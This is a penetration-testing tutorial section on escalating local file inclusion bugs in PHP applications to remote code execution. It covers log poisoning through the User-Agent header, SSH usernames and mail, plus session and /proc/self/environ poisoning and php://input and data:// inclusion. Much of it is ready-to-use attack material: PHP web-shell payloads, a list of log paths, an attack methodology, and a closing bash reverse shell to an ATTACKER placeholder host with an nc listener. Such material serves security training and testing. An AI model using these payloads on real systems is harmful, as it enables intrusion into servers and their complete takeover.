An LFI that only reads files is useful. An LFI that executes PHP is a shell. This section covers the techniques to pivot read-only or restricted LFI into RCE when wrappers alone aren’t enough.

Log Poisoning — The Classic

Every web server writes request data to a log file. If you can:

  1. Inject PHP code into something the server logs
  2. Include the log file via LFI

…the included log file contains your PHP, which executes.

Via Apache / Nginx Access Logs

The User-Agent header is logged verbatim. Set it to PHP:

User-Agent: <?php system($_GET['c']); ?>

Then include the access log:

?file=/var/log/apache2/access.log&c=id

PHP parses the log, sees the <?php ... ?> block, and executes it. Output appears inline.

Log paths by platform:

Apache (Debian/Ubuntu)   /var/log/apache2/access.log
                         /var/log/apache2/error.log
Apache (RHEL/CentOS)     /var/log/httpd/access_log
                         /var/log/httpd/error_log
Nginx                    /var/log/nginx/access.log
                         /var/log/nginx/error.log

Prerequisites:

  • Web user must have read permission on the log
  • Log file must not be too large (parsing a 500MB log takes forever)
  • Server must preserve the raw User-Agent without encoding it

Via SSH Auth Log

If you can read /var/log/auth.log via LFI, try logging in via SSH with a malicious username:

ssh '<?php system($_GET["c"]); ?>'@target

SSH records failed logins including the username. Then:

?file=/var/log/auth.log&c=id

Via Mail Log

Send an email to a non-existent user on the target with PHP in the subject. If the app logs mail activity, same technique applies.

PHP Session Poisoning

PHP stores session data in files under /var/lib/php/sessions/sess_<id> or /tmp/sess_<id>. If the app stores any user-controlled value in $_SESSION, you can inject PHP via that value.

Steps:

  1. Find a feature that stores your input in a session variable (name, preferences, cart)
  2. Set it to <?php system($_GET['c']); ?>
  3. Find your session file via LFI:
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id

Get your PHPSESSID from the cookie in browser DevTools.

Prerequisites:

  • Session data must include user-controlled input without encoding
  • Session file path must be known (default varies by distro)

/proc/self/environ Poisoning (CGI Only)

If the server runs PHP as CGI (not mod_php or FPM), environment variables of the PHP process are accessible via /proc/self/environ. Any header you send is in the environment:

User-Agent: <?php system($_GET['c']); ?>

Then:

?file=/proc/self/environ&c=id

Modern setups almost never run PHP as CGI, so this is rare. Try it, but don’t be surprised when it doesn’t work.

Writable Directory Upload

If the app has any file upload (profile pic, document, etc.) and you know where uploaded files land, you can:

  1. Upload a file with PHP code (see the File Upload module for bypasses)
  2. Include it via LFI, even if direct URL access is blocked

Useful combination when:

  • The app sanitizes direct URL access to uploaded files
  • But LFI doesn’t check file extensions

php://input for Direct Execution

Covered in PHP Wrappers but worth repeating in this context. With allow_url_include = On:

POST /index.php?file=php://input
Content-Type: application/x-www-form-urlencoded

<?php system($_GET['c']); ?>&c=id

Simplest LFI-to-RCE when the config allows.

data:// for Direct Execution

Also covered in PHP Wrappers:

?file=data://text/plain,<?php system($_GET['c']); ?>&c=id

Requires allow_url_include = On.

RCE via Sessions + Password Reset / Email

More creative — some apps store the last password reset email body in session or in a DB field. Set your “email body” to PHP code (via an authenticated endpoint), then include the session or DB dump via LFI.

Methodology

  1. Try wrappers first — php://filter + data:// + php://input are cleanest
  2. If allow_url_include=Off, pivot to log poisoning
  3. Pick the loudest log with the smallest size — Apache access.log is usually best
  4. Inject via User-Agent, request /non_existent_path to leave a clean entry
  5. Include the log with your execution payload as a query parameter
  6. Upgrade to a reverse shell immediately — don’t rely on repeat LFI requests

Reverse Shell Payload

Once you have RCE via log poisoning, swap the payload for a reverse shell:

User-Agent: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"); ?>

Start your listener:

nc -lvnp 4444

Then include the log once to trigger.